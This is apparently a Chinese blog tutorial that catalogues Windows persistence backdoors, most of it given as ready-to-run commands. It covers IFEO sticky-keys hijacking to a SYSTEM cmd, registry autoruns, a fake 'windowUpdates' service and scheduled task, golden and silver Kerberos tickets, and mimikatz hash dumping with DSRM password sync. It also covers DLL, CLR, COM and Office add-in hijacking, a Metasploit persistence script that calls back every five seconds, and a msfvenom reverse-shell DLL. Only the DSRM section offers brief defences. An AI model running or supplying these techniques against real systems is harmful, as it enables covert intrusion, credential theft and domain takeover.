“映像劫持”,也被称为“IFEO”(Image File Execution Options),在Windows NT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而Windows NT架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。
演示:
注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
在此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe
1 | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f |
此时点击五次shift键会打开cmd。
排查工具:使用PCHunter的系统杂项->映像劫持
右键删除即可
注册表自启动后门
位置一:Run
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
特点:用户每次登录桌面都执行一次Run下的程序
添加键test,值为后门程序路径。
1 | REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\666.exe" |
重新启动会自动运行后门程序。
位置二:RunOnce
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce |
特点:
- 用户登录后自执行一次+自删除键值
位置三:Winlogon
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon |
修改键Userinit的值,重启就会自动运行程序。
位置四:Load
1 | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Load |
特点:每次登录桌面都执行、没有Load键值需要手动创建
位置五:Startup
Starup对应着开始菜单
特点:用户每次登录桌面都执行
win2003之前
1 | C:\Documents and Settings\Administrator\Start Menu\Programs\Startup |
win2008及之后
1 | C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
将后门文件放在启动的文件夹下面
在开始菜单即可看到
屏幕保护程序后门
屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。
演示:
注册表位置:HKEY_CURRENT_USER\Control Panel\Desktop
1 | SCRNSAVE.EXE为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。在本质上,.scr文件是可执行文件。ScreenSaveActive表示屏保状态,1为启动,0为关闭。ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。ScreenSaverIsSecure默认参数为0,标识不需要密码即可解锁。 |
修改SCRASAVE.EXE的值为后门程序路径,等待屏保时间自动运行。
1 | reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\666.exe" /f |
计划任务后门
schtasks
适用于win2008及其以后系统
schtasks命令设定计划自动启动后门程序。
位于C:\Windows\tasks\XXX.job
默认为空
用法:
1 |
|
实操:
1 | schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5 #每5分钟自动执行666.exe,任务命名为Updater |
通过计划任务程序查看结果
终止计划任务
1 | schtasks /end /tn Updater |
at
适用于win2003-win2008
位于C:\Windows\System32\Tasks\xxx.xml
默认包含大量系统任务
用法:
1 | net time \\192.168.1.131 #查看目标机器的系统时间 |
服务自启动后门
自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。
演示:
1 | sc create test binpath= "cmd /c start c:\666.exe" displayname= "windowUpdates" (注意等号后面有空格)#创建服务 |
也可以简化为
1 | sc create test binpath= "cmd /c start c:\666.exe" displayname="windowUpdates" start=auto #创建服务 |
删除恶意服务
1 | sc delete "服务名称" |
黄金票据
黄金票据用于拿到域控之后维持权限
1 | klist purge//cmd中清除票据 |
注入票据后
成功查看dc的d盘
Psexec执行命令
白银票据
用于获取指定机器的指定服务访问权限
以下是获得cifs即目标机器共享目录的访问权限
1 | kerberos::purge #清除票据缓存 |
最后再介绍以下常用的服务
1、Windows共享(CIFS)管理访问的银票
为cifs服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。
注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括
c$共享,我们能够将文件拷贝到共享文件中。
2、具有管理员权限的Windows计算机(HOST)白银票据
创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。
利用HOST Silver Ticket,我们可以创建一个新的计划任务。
或者通过利用HOST Silver Ticket,我们可以修改存在的计划任务。
命令:
1 | klist purge |
直接运行schtasks /query会报 错误: 无法加载列资源
这是编码的问题,直接将gbk编码(936)改为英文的编码(437)
chcp 437
3、Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行
为http服务和wsman服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。
注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。
首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。
4.白银票据证连接到具有管理员权限Windows计算机上的LDAP
为ldap服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP服务的管理权限。
这样就可以导出目标系统的hash
1 | #导出域内所有的hash |
后来经过测试,必须同时导入LDAP
和CIFS
两个TGS才能访问目标系统的hash
5.白银票据证连接到具有管理员权限Windows计算机上的WMI
为HOST服务和rpcss服务创建白银票据,以使用WMI在目标系统上远程执行命令。
先确定一下票据有没有写入,然后使用WMIC执行命令
DSRM密码同步后门
DSRM介绍
目录服务恢复模式(DSRM,Directory Services Restore Mode
),是Windows服务器域控制器的安全模式启动选项。
域控制器的本地账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。如果DSRM密码忘了,可以使用命令行工具NTDSUtil
进行更改。
适用范围:
1 | 安装了KB96-1320补丁的winserver2008 |
每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM 账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
利用原理:
将DSRM的密码hash与域内任意普通用户的密码同步,从而使得普通用户也有域控权限
利用过程
抓取域控hash值
(前提条件需要提高注册表的权限:注册表——编辑——权限——选择Administrator——勾选完全控制)
域控上运行
1
2
3privilege::debug
token::elevate
lsadump::sam域内用户hash获取
域控上运行
1
2privilege::debug
lsadump::lsa /patch /name:normal同步DSRM密码
1
2
3
4
5NTDSUTIL//打开ndsuil
set dsrm password//设置DSRM的密码。
SYNC FROM DOMAIN ACCOUNT normal//normal是普通用户的用户名
q//退出DSRM密码设置模式
q//退出ntdsutil查看是否同步成功
1
lsadump::lsa /patch /name:normal
可以看到已经替换为普通用户hash了
设置允许DSRM账号允许远程登录
注册表路径是
HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior
(系统默认是不存在的,请手动添加),其可能的值如下:0(默认值):只有当 DC 重启进入 DSRM 时,你才能使用 DSRM 管理员帐户。 1:只有当本地AD DS服务停止时,你才能使用DSRM管理员帐户登录。 2:无论哪一种情况,你都可以使用 DSRM 管理员帐户登录。(不推荐,因为密码策略并不会应用到 DSRM 的管理员帐户)
我们需要修改其值为2
1
2
3
4//cmd修改
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
//powershell方式修改
new-itemproperty "hklm:\System\CurrentControlSet\Control\Lsa\" -name "DSRMAdminLogonBehavior" -value 2 -propertyType DWORD复制
普通用户远程登录
普通用户机子上运行mimikatz
1
2privilege::debug
sekurlsa::pth /domain:域名 /user:用户名 /ntlm: 4c56fc74829fff69deb6c6135c43bf71此时弹出新窗口即可获取域控权限(
此处查看域控c盘失败,使用别人的图,按理说应该没问题的啊)恢复DSRM密码
1
2
3
4NTDSUTIL//打开ndsuil
reset pssword on server null:在当前域控制器上恢复DSRM密码。
q//退出DSRM密码设置模式
q//退出ntdsutil
防御
1、定期检查注册表中用于控制DSRM登录方式的键值
HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior
确认该兼职为1,或者删除该键值
2、定期修改域中所有域控制器的DSRM账号
3、经常检查ID 为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中
参考链接
https://blog.csdn.net/qq_43645782/article/details/116944258
组策略设置脚本启动
通过gpedit.msc
打开本地组策略管理器
1.首先创建一个脚本,此处为添加隐藏用户,内容如下:
1 | @echo off |
- 也可以是exe可执行程序或者powershell脚本
2.打开组策略配置脚本(启动/关机),添加脚本,关机就会自动执行脚本。
也可以通过用户配置中的**脚本(登录/注销)**来写入后门
对应的注册表项如下
1 | #用户登录 |
bitsadmin
BITS (后台智能传送服务) 是一个 Windows 组件,它可以在前台或后台异步传输文件,为保证其他网络应用程序获得响应而调整传输速度,并在重新启动计算机或重新建立网络连接之后自动恢复文件传输。
1 | 常用命令: |
思路:通过将系统进程替换成后门进程来达到建立后门的目的。
演示:
1 | bitsadmin /create test //创建任务test |
msf persistence后门
使用persistence模块创建后门。
1 | 参数: |
执行如下命令,在目标机创建一个vbs后门,每5秒进行回连:
1 | run persistence -S -U -X -i 5 -p 55555 -r 192.168.1.128 |
监听55555端口,成功上线。
DLL劫持
DLL(Dynamic Link Library)文件为动态链接库文件,又称”应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。
dll加载顺序
1 | Windows xp sp2之前: |
win11的knownDLLS列表如下
DLL劫持思路
劫持系统DLL
分析一个应用程序是否存在劫持系统DLL的漏洞,通常需要几个步骤:
- 启动应用程序
- 使用Process Monitor等类似软件查看该应用程序启动后加载的动态链接库。
- 从该应用程序已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在的DLL。
- 编写从上一步获取到的DLL的劫持DLL。
- 将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。
如果对以上步骤都没问题还是没有实现劫持的话,具体可能有以下情况
- DLL不在KnownDLLs注册表中但是已经被微软做了保护,比如ntdll.dll等系统核心dll
- 宿主进程在调用LoadLibrary函数时使用了“绝对路径”
- 宿主进程对调用的DLL进行了校检,比如文件MD5、HASH等值
- 宿主调用DLL时使用了SetDllDirectory函数把当前目录从DLL的搜索顺序列表中删除
劫持应用DLL
只要宿主没有对自己的DLL做校检的话就可以进行劫持替换。
Note:当我们找到了一个可以劫持的DLL的时候,用于劫持的DLL文件需要劫持原DLL文件的所有导出函数,不然无法正常执行。可以用工具辅助生成DLL,例如:AheadLib
DLL劫持操作
查找可以劫持的dll
要求:不在known dlls中
通过 Process Monitor 监控dll调用是一种最基础的寻找dll劫持的方式,在filter中添加
Path ends with .dll
和Result is NAME NOT FOUND
规则,并且可以加上Process Name contains xxx
来针对性的找xxx的dll劫持。这里以有道云笔记为例,找到一个NETAPI32.dll(下图是劫持成功后,成功调用NETAPI32.dll的图,因此没有,正常情况是有的)
将dll还原成cpp源码并修改
使用everything找到NETAPI32.dll的位置
使用AheadLib导出cpp源码
visual studio建立空项目-dll链接库,然后把代码复制进去
在DllMain中添加代码,用MessageBox弹窗进行测试,F7生成解决方案即可
可能会出现找不到pch.h的问题,此时在项目-属性-c/c++-预编译头,在这个地方将使用预编译头改为不使用预编译头即可
将DLL文件复制到Process Monitor提示NAME NOT FOUND的路径下(这里是D:\有道云笔记\YoudaoNote,复制后DLL的完整路径为D:\有道云笔记\YoudaoNote\NETAPI32.dll)
重新启动有道云笔记出现提示框,成功DLL劫持
实战中需要将调用代码修改成后门的可执行文件
将弹窗部分代码修改为如下代码
1 | STARTUPINFO si = { sizeof(si) };PROCESS_INFORMATION pi;CreateProcess(TEXT("C:\\Windows\\SysWOW64\\cmd.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi); |
按照上面的步骤将DLL文件放到有道云笔记中,成功运行cmd
参考链接
- https://earthmanet.github.io/posts/2021/02/dll%E5%8A%AB%E6%8C%81%E5%8F%8A%E5%85%B6%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/
- https://hosch3n.github.io/2021/06/29/%E5%88%A9%E7%94%A8dll%E5%8A%AB%E6%8C%81%E5%AE%9E%E7%8E%B0%E5%85%8D%E6%9D%80%E4%B8%8E%E7%BB%B4%E6%9D%83/
CLR劫持
CLR全称Common Language Runtime
,中文名称为公共语言运行时。CLR是.NETFramework的主要执行引擎,作用之一是监视程序的运行。可以理解成,让系统在执行.NET程序的时候先执行一个你指定的dll文件。
1.修改注册表:HKEY_CURRENT_USER\Software\Classes\CLSID\
1 | REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\test.dll" /F |
2.配置全局环境变量,不然只在当前cmd窗口劫持.net程序,然后直接执行powershell即可上线。
1 | SETX COR_ENABLE_PROFILING 1 /MSETX COR_PROFILER {11111111-1234-1234-1234-111111111111} /M |
快捷方式后门
创建快捷方式设置程序,设置为
1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item 'C:\Program Files\Google\Chrome\Application\chrome.exe'; invoke-item c:\windows\system32\calc.exe" |
chrome.exe为原先的程序,calc.exe为另外启动的程序,选择一个应用程序中的图标
运行方式修改为最小化即可无声无息的运行(目标开了杀软的话可能会拦powershell.exe)
拓展名后门
在Windows中拓展名与打开程序的对应关系体现在注册表中
1 | HKEY_CLASSES_ROOT # Global |
在HKEY_CLASSES_ROOT\.txt
下找到.txt
对应的处理注册表相关在txtfile
在HKEY_CLASSES_ROOT\txtfile\shell\open\command
找到对应处理程序
将数据部分换成"%SystemRoot%\system32\calc.EXE"
打开txt文件就会弹窗
COM劫持
COM介绍
COM(Component Object Model,组件对象模型),是由微软推出的一套接口规范,通过设定不同组件之间需要遵守的标准与协议,主要用来跨语言、跨进程之间的模块通信。通过CLSID定义应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件。
主要存在于
1 | HKCU\Software\Classes\CLSID\{CLSID} |
常见CLSID
1 | {20D04FE0-3AEA-1069-A2D8-08002B30309D} 我的电脑 |
启动方式
1 | rundll32.exe -sta {CLSID} |
基本子键
- InProcServer32:存放调用的dll
- LocalServer32:存放调用的程序
- ThreadingModel:存放调用的其他CLSID
- ScriptletURL:调用远程的脚本执行
劫持实战
根据COM调用加载过程很直观的可以看出理论上可行的3种劫持方案:
- HKCR中有,而HKCU中没有,只需要在HKCU中注册即可劫持HKCR中的COM服务。
- 修改掉
LocalServer32
或InprocServer32
的键值。 - 替换掉
LocalServer32
或InprocServer32
的键值中的文件。
注意
- 需要找HKCU下的键,因为HKLM的需要管理员权限
查找COM可利用Keys
使用Process Monitor添加以下规则
- Operation is RegOpenKey
- Result is NAME NOT FOUND
- Path ends with InprocServer32
- Exclude if path starts with HKLM
将结果保存到CSV
使用acCOMplice的项目,从CSV中提取可劫持的COM键
1 | Import-Module .\COMHijackToolkit.ps1 |
也可以直接用以下方法检索LocalServer32
1 | $inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null } |
1 | $inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null } |
利用计划任务的COM
使用脚本检索用户登录后可利用的计划任务COM
1 | Import-Module .\Get-ScheduledTaskComHandler.ps1 |
查询特定的计划任务的相关信息
1 | #直接查看文件 |
在以下路径找到其指向的DLL文件
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 |
为了无需权限,在HKCU下创建相同的InProServer32,但是指向不同的恶意DLL
这里尝试替换dll,可以使用参考链接中的弹calc的dll
1 | #include "pch.h" |
使用VS进行编译,放入C:\temp
目录下后,造成COM劫持
也可以使用msfvenom进行生成
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=5555 -f dll > pentestlab.dll |
ScriptletURL
原理:在CLSID的子键中添加ScriptletURL进行利用
远程vps存放xml
1 |
|
通过ScriptletURL进行加载执行
LocalServer32
与InProserver32不同在于这里对应的是exe文件
方法还是一样的
- 更换键值
- 或者更换对应程序
有些CLSID没有激活的话需要进行激活后利用
1 | [activator]::CreateInstance([type]::GetTypeFromCLSID("45EAE363-122A-445A-97B6-3DE890E786F8")) |
Threat AS
在{CLSID}下还可以存在着一个TreatAS子键,使用TreatAS子键可以链接到别的{CLSID}中。更为详尽的介绍可以看官方文档。
1 | COM调用 => {CLSID} => TreatAs键 => 读取TreatAs默认值 => 跳转指定的{CLSID} |
APT-C-06组织曾利用过这种COM劫持方法来做持久化后门。
COM劫持
攻击者在注册表 HKLM\software\classes\CLSID\ 下添加一个不存在的CLSID节点结构,例如{C5602CE6-9B79-11D3-B654-581BBAEF8DBA},并将键值设置成恶意文件的路径,然后再在家庭网络配置管理器的CLSID节点{46C166AA-3108-11D4-9348-00C04F8EEB71}下新建TreatAs项,并将键值设置成{C5602CE6-9B79-11D3-B654-581BBAEF8DBA},再重启服务,这样当系统引用家庭网络配置管理器的CLSID时就会链接到新的CLSID上,从而加载恶意文件,达到COM劫持的目的。
按照上文给的说明来使用Powershell复现一下通过TreatAs键做COM劫持(注:需要足够的权限)
1 | #定义 |
注册表中原有的家庭网络配置管理器的CLSID节点多了一个TreatAs键指向{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}
{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}中的内容为
参考链接
- https://bu1.github.io/2021/11/27/COM%E7%BB%84%E4%BB%B6%E5%8A%AB%E6%8C%81%E5%AD%A6%E4%B9%A0%EF%BC%9A%E4%BB%8E%E5%88%9D%E8%AF%86%E5%88%B0%E7%AE%80%E5%8D%95%E5%88%A9%E7%94%A8/
- https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
Office持久化
模板文件加载
对于企业而言,都喜欢使用统一的模板文件,在每次启动 Office 软件时加载模板,模板文件存储在下面的位置:
C:\Users\pentestlab\AppData\Roaming\Microsoft\Templates
在CS中生成宏代码,插入dotm文档,保存
如果找不到VS Basic编辑窗口,需要在功能栏右键->自定义功能区
保存好文档之后随意打开一个文档就会触发恶意代码
拓展程序
Office 外部插件用于扩展 Office 程序的功能。当 Office 应用程序启动时,会对存储外部插件的文件夹进行检查,以便应用程序加载它们。执行以下命令来发现 Microsoft Word 的可信位置,也可以删除外部插件。
Get-ChildItem “hkcu:\Software\Microsoft\Office\16.0\Word\Security\Trusted Locations”
因此加载的拓展程序位置为
1 | C:\Users\xxx\AppData\Roaming\Microsoft\Word\Startup |
Office 的外部插件是 DLL 文件,扩展名不同,表示使用不同的应用程序,例如 .wll 代表 Word,**.xll** 代表 Excel。
Metasploit Framework 的“msfvenom”可用于创建可被使用的 DLL 文件,然后将扩展名修改为“**.wll**”(Word 插件程序的扩展名),并将文件移动到 Word 启动文件夹,每次 Word 启动时执行外部插件
利用方法
编译dll
1 | // dllmain.cpp : Defines the entry point for the DLL application. |
编译完成后将dll后缀修改为wll或者xll,放入指定目录即可
Office test
在注册表中创建一个注册表项,在 Office 软件启动时,会自动加载该注册表项中指定的 DLL 文件,创建命令如下:
reg add “HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf” /t REG_SZ /d C:\tmp\pentestlab.dll
该命令将创建以下注册表结构:
当 Microsoft Office 应用程序再次启动时,DLL 被执行: